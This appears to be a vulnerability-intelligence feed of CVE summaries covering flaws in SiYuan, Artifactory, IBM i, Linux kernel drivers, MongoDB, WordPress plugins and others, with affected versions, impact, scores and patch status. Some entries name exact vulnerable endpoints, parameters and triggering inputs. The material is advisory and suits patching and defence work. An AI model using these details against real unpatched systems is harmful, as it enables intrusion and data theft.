SiYuan's publish mode in versions before v3.7.4 leaks Argon2id key-derivation material - including salt, cost parameters, password verifiers, and wrapped notebook data keys - through unauthenticated HTTP endpoints, enabling unlimited offline master-password cracking. Remote unauthenticated attackers who can reach a publish-mode SiYuan instance can retrieve all inputs needed to run offline Argon2id cracking campaigns with no server-side rate limiting. No public exploit has been identified at time of analysis, but the attack requires only standard HTTP requests once the target is located.
Credential disclosure in SiYuan note-taking software before v3.7.4 lets unauthenticated remote attackers read the session cookie signing key (CookieKey) from the /api/system/getConf endpoint when an instance runs in publish mode. With that key an attacker can mint valid signed session cookies, impersonate any user, and escalate to administrative control of the workspace. Reported by VulnCheck with a vendor security advisory (GHSA-34fj-mwm6-fjfg); no public exploit identified at time of analysis and the CVE is not listed in CISA KEV.
Sensitive credential exposure in SiYuan (self-hosted note-taking app) before v3.7.4 allows anonymous or publish-reader users to query the /api/system/getConf endpoint and retrieve unmasked secrets, including the session-cookie signing key, the OS username (leaked via the pandoc path), and encrypted-notebook key material. With the signing key, attackers forge and tamper with session cookies to impersonate any user, and on instances that have not configured an access-auth code they can escalate to full administrator privileges. No public exploit identified at time of analysis, but the flaw is remotely reachable without authentication against default configurations.
Authenticated SQL injection in CamaleonCMS 2.9.1 allows low-privileged users holding post creation or editing rights to extract sensitive data - including administrative credentials and configuration values - from the underlying SQLite database via crafted slug payloads. The flaw exists because the post slug field is incorporated into backend database queries without adequate parameterization, enabling boolean- and union-based blind injection techniques over a standard network-accessible web interface. A vendor patch is available via the upstream GitHub repository; no public exploit code or CISA KEV listing has been identified at time of analysis.
Unauthenticated user enumeration and metadata disclosure in Budibase prior to 3.39.32 exposes tenant identifiers, email addresses, user IDs, SSO identifiers, and document revision metadata via a public API endpoint that was intentionally exempted from authentication middleware - accompanied by a `TODO` comment in source acknowledging it should have been restricted. Any network-reachable unauthenticated caller can query the Worker service endpoint `GET /api/global/users/tenant/:id` with an email or user identifier and receive a full `PlatformUser` document. No public exploit code has been identified at time of analysis, though the attack is trivially reproducible from the public GitHub security advisory alone.
Missing authorization in the Execute Monitor API of the Amazon OpenSearch Alerting plugin allows any authenticated remote user to read, modify, or delete arbitrary index data by supplying crafted inline monitor requests with attacker-controlled data source and input index parameters. The flaw bypasses index-level permission enforcement, making it a meaningful privilege escalation risk in multi-tenant or shared OpenSearch deployments. A vendor patch is available; no public exploit or CISA KEV listing has been identified at time of analysis.
Cache metadata poisoning in JFrog Artifactory enables a low-privileged authenticated user to corrupt cached artifact metadata entries, causing downstream consumers - including CI/CD pipelines and development toolchains - to silently retrieve untrusted or attacker-influenced content. All versions of Artifactory are listed as affected per the CPE wildcard, making this a broad supply chain integrity concern for organizations relying on Artifactory as a central repository manager. No public exploit code has been identified and the vulnerability is not listed in CISA KEV at time of analysis, though the high CVSS score of 8.8 and network-accessible attack vector warrant prompt patching.
Out-of-bounds read in IBM i 7.3 through 7.6 enables remote authenticated attackers with low-privilege credentials to obtain sensitive information across a security scope boundary, yielding a high confidentiality impact. The CVSS vector (S:C/C:H) indicates the leaked data can originate from components outside the attacker's immediate security context - a notable escalation beyond typical information disclosure. No public exploit code has been identified at time of analysis, and IBM has released a patch via advisory 7283280.
Credential harvesting in IBM i (via its Navigator for i web administration console) allows a remote unauthenticated attacker to spoof the legitimate Navigator for i interface and trick operators into disclosing their credentials, per IBM's advisory covering releases 7.6, 7.5, 7.4, and 7.3. The flaw is a CWE-346 origin-validation weakness carrying a CVSS 9.8 rating, though real-world exploitation signals are modest - there is no public exploit identified at time of analysis and EPSS sits at just 0.18% (7th percentile). A vendor patch is available.
XML injection in IBM i versions 7.3 through 7.6 enables a remote low-privileged authenticated attacker to exfiltrate sensitive information and compromise system integrity without disrupting availability. The CVSS 8.1 High score reflects a network-accessible, low-complexity attack path requiring only a standard user account. No public exploit has been identified at time of analysis; a vendor-released patch is available via IBM's support portal.
Authorization bypass in Apache Airflow's Backfill API (all versions prior to 3.3.1) allows any authenticated user holding edit permission on a single DAG to read, pause, cancel, and fail backfills belonging to any other DAG. The flaw is a type-parsing mismatch in FastAPI's dependency resolution layer: the authorization dependency parsed the `backfill_id` path parameter with Python's `int()` while the route handler declared `NonNegativeInt` via Pydantic, which in lax mode coerces inputs like `'42.0'` that `int()` rejects-causing the two components to authorize and act on different DAGs. Backfill IDs are sequential, making cross-DAG enumeration trivial; no public exploit code has been identified at time of analysis, though the technique is directly reproducible from the published patch diff.
Cache poisoning in JFrog Artifactory 7.161.0-7.161.15 allows unauthenticated remote attackers to inject untrusted package content into the artifact cache under specific triggering conditions, compromising artifact integrity (I:H) and availability (A:H) with no confidentiality exposure. The vulnerability is rooted in CWE-345 (Insufficient Verification of Data Authenticity), meaning Artifactory fails to validate the authenticity of content before caching it from upstream remote repositories. No public exploit has been identified at time of analysis, and the CVSS UI:R component indicates some victim interaction is required, moderating but not eliminating risk given Artifactory's central role in software supply chains.
Off-by-one error in Nimiq Albatross' validity store enables transaction replay attacks, causing double execution of any crafted transaction on MainNet. Versions of nimiq-blockchain up to and including 1.5.0 contain a strict-inequality comparison that prematurely expires replay protection by up to 59 blocks (~10 minutes), while the protocol continues to accept the transaction as valid. Any network participant can exploit this by choosing a specific validity_start_height, resulting in the sender being debited twice and the recipient credited twice. No public exploit code or CISA KEV listing has been identified; vendor patch 1.5.1 is available.
JFrog Artifactory's JWT handling allows a holder of a valid integration credential to impersonate arbitrary users under specific conditions, exploiting an improper cryptographic signature verification flaw (CWE-347). Any actor in possession of a legitimate integration token - such as a CI/CD service account - can craft or manipulate JWT tokens to assume the identity of other users, including privileged ones, gaining their full access to repositories and administrative functions. No public exploit has been identified at time of analysis, and the vulnerability has not been added to the CISA KEV catalog; however, the full C:H/I:H/A:H CVSS impact profile warrants prompt patching in environments where integration credentials are broadly distributed.
SAML response impersonation in JFrog Artifactory (all tracked versions per CPE) permits an attacker who possesses a valid SAML response to assume the identity of another user under specific conditions. Rooted in CWE-347 (Improper Verification of Cryptographic Signature), the flaw indicates Artifactory fails to adequately validate SAML assertion signatures or cryptographic bindings - a class of weakness commonly exploited via XML Signature Wrapping (XSW) or assertion replay attacks. The 'JWT Attack' tag suggests Artifactory may internally convert SAML assertions to JWT tokens, and the signature verification gap may exist at that translation layer. No public exploit code and no CISA KEV listing have been identified at time of analysis.
Token replay in Vulnerability-Lookup's account activation and password-recovery mechanism allows an attacker who captures a valid one-time link to repeatedly reset the victim's password throughout the entire TOKEN_VALIDITY_PERIOD, even after the legitimate user has already consumed that token. Because the application never records whether a token has been used and does not bind tokens to a specific workflow, a single intercepted link grants persistent account-takeover capability without requiring any knowledge of the victim's current credentials. Reported by CIRCL, no public exploit code or CISA KEV listing exists at time of analysis; an upstream patch is available via a GitHub commit.
Memory exhaustion in Net::CIDR::Set before 0.23 exposes any Perl application using the library to remote denial of service when untrusted input reaches `contains()` or `add()`. The `_encode` method in `lib/Net/CIDR/Set/IPv6.pm` accepted unbounded prefix lengths and allocated memory proportional to the supplied value - `::/100000000` produces a ~100 MB string and a 12.5 million-element Perl array before the input is rejected - with no authentication required (CVSS PR:N, AV:N). No public exploit is identified at time of analysis, but the 16% EPSS score is elevated for a library-level DoS, and vendor-released patch version 0.23 is confirmed available.
Unauthenticated information disclosure in WP Photo Album Plus (WordPress plugin, all versions before 9.2.07.002) allows any remote attacker to read arbitrary autoloaded WordPress option values by supplying a crafted suffix to a public, unprotected endpoint. The plugin constructs an option name from client-controlled input without restricting it to its own namespace or verifying any capability or nonce, exposing site-wide secrets stored in wp_options. A publicly available proof-of-concept exists, SSVC rates this as automatable with partial technical impact, and EPSS sits at 16%, indicating meaningful real-world exploitation interest despite the absence of a CISA KEV listing.
Unauthenticated arbitrary file deletion in WP Photo Album Plus (versions before 9.2.07.002) exposes WordPress sites to path traversal attacks through a public endpoint that accepts unvalidated client-controlled file path values with no authorization check in place. Any remote unauthenticated attacker can manipulate this path parameter to target and delete ZIP archives stored anywhere on the server, including directories outside the web root. A publicly available proof-of-concept exists, EPSS scores this at 16%, and no public exploit identified at time of analysis maps to confirmed mass exploitation - but the low attack complexity and zero authentication barrier make rapid weaponization realistic.
Unauthenticated exposure of the backup authorization secret in Total Upkeep WordPress plugin (all versions before 1.17.3) enables remote attackers to both exfiltrate sensitive backup archives and trigger arbitrary full-site restores that overwrite live site files and the database. WPScan disclosed a publicly available proof-of-concept exploit, and SSVC rates the attack as automatable, creating conditions for mass exploitation campaigns. The vendor-reported CVSS score of 7.5 covers only the confidentiality dimension and substantially understates real-world risk by omitting the integrity and availability destruction possible through forced site restores.
Unauthenticated export file disclosure in Import WP WordPress plugin (all versions before 2.14.23) allows any remote attacker to download administrator-generated export files without credentials. The export download handler performs no authorization check, exposing files that may contain user PII including email addresses, login names, and role assignments. A publicly available exploit exists (reported by WPScan), and EPSS sits at 16%, indicating meaningful real-world exploitation interest; exploitation is contingent on two prerequisites that meaningfully reduce actual exposure relative to the raw CVSS score.
Unauthorized cross-tenant Secret and ConfigMap access in the multicloud-operators-channel component of Red Hat Advanced Cluster Management for Kubernetes 2 allows a compromised managed-cluster agent to read all Secrets and ConfigMaps within any Channel namespace on the hub cluster. The Changed scope (S:C) in the CVSS vector confirms that exploitation pivots from a managed cluster context into the hub, exposing Git and Helm repository credentials belonging to other tenants. No public exploit has been identified at time of analysis, but the network-reachable, low-privilege vector makes this a high-priority finding in any multi-tenant RHACM deployment.
Secret exfiltration across Kubernetes namespace boundaries in the multicloud-operators-subscription component of Red Hat Advanced Cluster Management for Kubernetes 2 allows an authenticated namespace administrator to read Kubernetes Secrets from arbitrary namespaces outside their own authorization domain. By setting Channel.Spec.SecretRef.Namespace to a target namespace, the attacker causes the subscription controller to autonomously copy sensitive Secret contents into a namespace the attacker controls, violating the Kubernetes namespace isolation model. No public exploit code has been identified at time of analysis, but the scope-changed CVSS vector (S:C, C:H) and the sensitivity of Kubernetes Secret payloads - which frequently contain credentials, API tokens, and TLS private keys - make this a high-priority finding in any multi-tenant RHACM deployment.
Out-of-bounds read in the Linux kernel drm/amdkfd CRIU checkpoint path leaks kernel memory to userspace on systems with AMD v9 GPU hardware. The MQD control stack copy uses cp_hqd_cntl_stack_size directly from hardware registers without bounding it to the allocated Buffer Object, allowing memcpy to read past the BO into adjacent GTT memory. A local low-privileged user with access to AMD GPU compute queue checkpointing can recover sensitive kernel data; no public exploit has been identified at time of analysis, though the 15% EPSS score is above baseline for kernel information-disclosure flaws.
Missing input validation in the Linux kernel's drm/vmwgfx driver allows a low-privileged local user on a VMware guest VM to supply an arbitrary array_size value in vmw_surface_metadata via ioctl, bypassing per-Shader-Model limits and triggering out-of-bounds kernel memory access with high confidentiality, integrity, and availability impact. Affected kernel versions span 5.7 through multiple stable branches, with patches now available for 6.6.148, 6.12.101, 6.18.42, 7.1.6, and 7.2-rc5. No public exploit code or CISA KEV listing has been identified at time of analysis, though EPSS at 16% signals a meaningfully elevated probability of eventual exploitation.
Use-after-free in the Linux kernel's btrfs filesystem driver allows a low-privileged local user to cause kernel memory corruption with full system compromise potential. Introduced by a regression in commit f86f7a75e2fb, the btrfs extent map splitting code in btrfs_drop_extent_map_range() incorrectly propagates EXTENT_FLAG_LOGGING to child split maps, which are never cleared of this flag; when the extent map shrinker later frees such a map while it remains on the inode's modified_extents list, a use-after-free is triggered. No public exploit has been identified at time of analysis, but an EPSS of 16% signals elevated exploitation probability for a local kernel UAF affecting Linux 6.8 and later across multiple stable branches.
Uninitialized memory read in the Linux kernel's libceph client library exposes stale kernel buffer contents and risks system instability on Ceph-connected hosts. The flaw exists in handle_get_version_reply(), which incorrectly uses msg->front_alloc_len - the allocated buffer size - as the decode boundary instead of msg->front.iov_len, the count of bytes actually received. A truncated MON_GET_VERSION_REPLY from a malicious or compromised Ceph monitor therefore passes the ceph_decode_need() guard and reads a second u64 from leftover bytes of a prior message, constituting an out-of-bounds read of uninitialized kernel memory. No public exploit has been identified at time of analysis, but the 16% EPSS score is elevated for a kernel library flaw and warrants prompt patching on Ceph-client deployments.
Privilege escalation in the Linux kernel's vxlan subsystem allows a local user holding CAP_NET_ADMIN in a vxlan device's network namespace to rewrite underlay configuration in a separate, more privileged namespace where they lack that capability. The flaw in vxlan_changelink() affects multiple stable kernel branches (6.6.x, 6.12.x, 6.18.x, 7.1.x, and 7.2-rc) and is most impactful in multi-tenant container or cloud environments where vxlan devices span namespace boundaries - a common topology in Kubernetes and OpenStack deployments. With an EPSS score of 17% and no public exploit or CISA KEV listing confirmed at time of analysis, this is an elevated-risk local privilege escalation requiring prompt patching on affected containerized infrastructure.
Unauthenticated exposure of live task execution data in Kestra prior to 2.0.0-rc6 allows any network-accessible party to retrieve plaintext credentials, environment variables, HTTP headers, and connection strings via an unprotected GET /worker endpoint on the worker process. While the main Kestra API on port 8080 enforces authentication, the worker's WorkerEndpoint.java endpoint was not subject to the same controls, serializing the full live Task object to unauthenticated callers. The vendor-released fix is confirmed in version 2.0.0-rc6; no public exploit code has been identified at time of analysis.
Incorrect JSON Pointer escape-sequence decoding in cJSON versions 1.5.0 through 1.7.19 allows unauthenticated network attackers to redirect RFC 6902 JSON Patch operations to unintended object keys by supplying crafted ~0 or ~1 sequences in patch paths. Any application that exposes cJSONUtils_ApplyPatches() or cJSONUtils_ApplyPatchesCaseSensitive() to external input is vulnerable to silent data corruption, unintended key deletion, and potential authorization bypass when JSON Patch is used to gate access-controlled modifications. No public exploit code or CISA KEV listing has been identified at time of analysis, but the network-accessible, zero-authentication attack surface and high integrity impact (CVSS 4.0: 8.7) make this a meaningful risk for any service built on cJSON's utility layer.
Cleartext credential logging in the MongoDB Java Driver exposes outbound network connectivity credentials to any party with log read access during routine client initialization. Affected applications automatically write the credential to log output as part of normal operation - no special trigger, elevated privileges, or attacker interaction with the driver is required to produce the disclosure. While no public exploit or active exploitation has been confirmed, the CVSS 4.0 score of 8.2 reflects that recovered credentials can authenticate an attacker to separate network infrastructure beyond the affected application, producing a scope-changed confidentiality impact.
Authentication bypass in the Mira fertility-tracking cloud API allows any remote attacker to take over user accounts by supplying only a victim's email address and an arbitrary password, since the login endpoint validates the email but accepts any format-valid string as the password and returns a live active session token. Affecting Mira Firmware 1.7.1.47 and Mira Android App 4.5.15.4 (Quanovate Tech Inc, operating as Mira / Mira Care), this reported by CISA (ICSMA-26-223-01) carries a CVSS 4.0 base score of 9.3 and exposes sensitive reproductive-health (hormone) records and account settings. There is no public exploit identified at time of analysis and it is not listed in CISA KEV.
Server-impersonation via broken TLS hostname verification affects Apache HttpComponents Client 5.4 through 5.6.3 when applications use the asynchronous HttpClient, where the HostnameVerificationPolicy#BUILTIN setting is silently ignored. An adversary positioned to intercept and modify network traffic can present a valid certificate issued for an unrelated domain and the async client will accept it, defeating the core TLS server-identity check and exposing transmitted data. There is no public exploit identified at time of analysis and EPSS is very low (0.09%), but the CVSS base score is 9.1 and the classic (synchronous) HttpClient is explicitly unaffected.
Sensitive credential leakage in Red Hat insights-client exposes cloud.openshift.com pull-secret tokens through application log files on Advanced Cluster Management hub clusters. When insights-client receives any non-200 HTTP response from the Red Hat cloud endpoint, it writes the full request headers - including the long-lived pull-secret bearer token - to pod logs readable by local cluster users. An attacker who harvests this token can authenticate against Red Hat cloud services without possessing their own credentials. No public exploit has been identified at time of analysis, and multiple vendor-released errata patch the behavior.
Authentication bypass in Red Hat's search-v2-api exposes federated search results to unauthenticated remote attackers. The authentication middleware unconditionally skips validation when an HTTP request carries the `Upgrade: websocket` header, allowing any network-reachable attacker to POST to the `/federated` endpoint without credentials. Exploitation yields information disclosure across all configured remote managed hubs - no active exploitation confirmed (not in CISA KEV) and no public POC identified at time of analysis, but the CVSS 7.5 score and PR:N vector reflect low-barrier, network-accessible exploitation.
Unauthenticated remote code execution in SonicWall Global Management System (GMS) 9.5.1 (Build 9510.1044) and earlier lets remote attackers read sensitive data and write arbitrary files through a Zip-Slip path-traversal flaw during archive extraction, which can be leveraged to plant executable content and achieve code execution. The issue was disclosed by SonicWall PSIRT (SNWLID-2026-0011) and carries a CVSS 9.1 (Critical) rating. There is no public exploit identified at time of analysis, and CISA SSVC records exploitation status as 'none'.
Unauthorized BLE command injection against the Pulsetto Vagus Nerve Stimulator firmware allows any physically proximate attacker to invoke hidden device commands without authentication or encryption, with potential to alter stimulation parameters or disrupt device operation. The firmware processes a set of undisclosed commands - never exposed through the official companion mobile application - whenever the device is powered on and advertising over BLE, presenting a zero-authentication attack surface at the radio layer. No public exploit code has been identified at time of analysis, but the adjacent-only, no-authentication requirement makes opportunistic abuse practical in any clinical or public setting where patients wear the device.
Arbitrary file deletion in the Formidable Digital Signatures plugin for WordPress (all versions through 3.0.6) lets unauthenticated attackers delete server files by passing an attacker-controlled path in item_meta[field_id][content] together with the delete_saved_image flag during normal anonymous form submission. Because deleting wp-config.php can force WordPress back into its setup routine, this file-deletion primitive escalates to full site takeover, which is why it carries a CVSS 9.8. No public exploit identified at time of analysis; not listed in CISA KEV.
Credential exposure in MongoDB Server's replica-set/sharded-cluster internal authentication allows an adjacent-network attacker to force an authentication-mechanism downgrade during intra-cluster member-to-member connection setup, causing the shared internal keyfile/cluster credential to be sent in a weaker form that can be recovered. Any party with recovered credentials can authenticate as the internal superuser (__system) and gain full control of every node in the deployment. Reported by MongoDB (SERVER-130264); no public exploit identified at time of analysis and it is not listed in CISA KEV.
Unintended internal method dispatch in electerm prior to v3.15.186 allows any authenticated WebSocket client to invoke arbitrary Upgrade and filesystem export methods - including OS command execution, file mutation, and process termination - by supplying attacker-controlled function names to the `upgrade-func` and `handleFs` WebSocket handlers. The root cause is the absence of allowlist validation in `src/app/server/dispatch-center.js` and `src/app/server/fs.js`, where client-supplied `func` strings were passed directly to dynamic method calls, including paths exploitable via JavaScript prototype chain traversal. No public exploit or CISA KEV listing exists at time of analysis; CVSS 8.8 reflects the high impact and low complexity once a valid authenticated session is held.
Out-of-bounds read in MongoDB Server's geospatial query processing permits an authenticated user with write privileges to store malformed geometry documents that bypass validation at ingestion time, with the memory access violation occurring later during query execution. Affected deployments span all tracked versions per NVD CPE data (cpe:2.3:a:mongodb:mongodb_server:*:*:*:*:*:*:*:*), and the dual impact - server crash and limited process memory disclosure - makes this a moderate-to-high priority for any MongoDB deployment where untrusted authenticated users have write access. No public exploit code and no CISA KEV listing have been identified at time of analysis.
Atlas Vector Search in MongoDB Server exposes a horizontal authorization bypass allowing an authenticated low-privileged user to read documents from a view they are not authorized to access, crossing view-level access control boundaries within the same underlying collection. The flaw arises from MongoDB Server insufficiently validating user-supplied fields before forwarding internal requests to the search process, enabling the search backend to return documents outside the scope of the caller's authorized view. No public exploit code or CISA KEV listing has been identified at time of analysis.
Out-of-bounds memory read in MongoDB Server's aggregation framework allows an authenticated attacker to crash the database server or expose limited memory contents by submitting a specially crafted numeric parameter within a specific aggregation pipeline stage. The CVSS 4.0 score of 7.1 reflects dual impact: high availability loss from server crash (VA:H) and low-level confidentiality exposure from adjacent memory leakage (VC:L). Self-reported by MongoDB (responsible disclosure), with no public exploit code or CISA KEV listing identified at time of analysis.